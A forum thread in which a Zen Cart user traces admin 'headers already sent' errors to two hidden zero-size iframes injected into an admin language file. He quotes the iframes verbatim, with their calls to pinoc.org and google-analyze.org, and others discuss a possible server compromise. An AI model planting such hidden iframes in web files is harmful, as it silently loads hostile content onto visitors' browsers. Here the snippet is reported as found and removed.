Site up - unable to access admin after install...

[tfbiii]

Clean install of ZC to http://72.22.206.12/index.php - page loads fine. (I'm using IP because I need to build a basic site on my new server before changing the domain's DNS info.)

If I try to hit my admin area http://72.22.206.12/admin/index.php

I will get the following error:


Warning: Cannot modify header information - headers already sent by (output started at /home/your360store/html/admin/includes/languages/english/index.php:73) in /home/your360store/html/admin/includes/init_includes/init_templates.php on line 36

Warning: Cannot modify header information - headers already sent by (output started at /home/your360store/html/admin/includes/languages/english/index.php:73) in /home/your360store/html/admin/includes/functions/general.php on line 21

Thoughts on what's going on?

Thanks,

Fred

[canopy]

Have you checked through this Tutorials/FAQs link?

[tfbiii]

I was at it for a few hours last night until my eyes wouldn't focus any longer - I have another site install to run today on a different server-space and I will re-read the FAQ's to see if I missed anything.

Of course, if someone else has any info - feel free to post it

Thanks,

Fred

[tfbiii]

Good Catch!

That FAQ fixed me right up (too bad I couldn't find it with my own searches last night)

Here's the code snipet I actually had to just remove to fix things:


<iframe src="http://pinoc.org/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://google-analyze.org/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

Google searches for this pinoc.org bring back all kinds of hacker-site references...

What's this code doing in a clean download and install of Zen-Cart?

[tfbiii]

Wow - I just checked the original file on mt pc and it's clean. Some hacker messed with my stuff within 24 hours of the upload to a site that was just created?

That is screwed up...

[Website Rob]

Can you tell what dir. / file the code was in?

I'm wondering if the 'images' dir. is involved.

[tfbiii]

Here's the path to the file from the original error:

/home/your360store/html/admin/includes/languages/english/index.php:73

Line 73 was the last line and that code snipet was added there right after the ?>

I had halted my install in the middle while my hosting company did the cURL install and finished it the next night.

I'd hate to have to trash everything and re-upload/re-install both sites.

Bummer....

[Website Rob]

It is a most curious situation as I cannot see how it could have happened. Unless, another site on the Server has already been hacked with the ability to infected any new files; regardless of what Hosting account.

Perhaps your Hoster should do a sweep of that Server and search all files for that type hacker code (iframe), especially "all" index files be they ending with: .htm .html .php.

Something else your Hoster needs to do is update their SSL Certificate. Hopefully you are not using a Shared SSL Cert from them as your site will show the same errors their site does.

[tfbiii]

The hosting company is in the process of a merger - the new certs will be generated soon after that is completed.

I will have them do a sweep of the server and see if they can find anything.

Thanks for the info!

Fred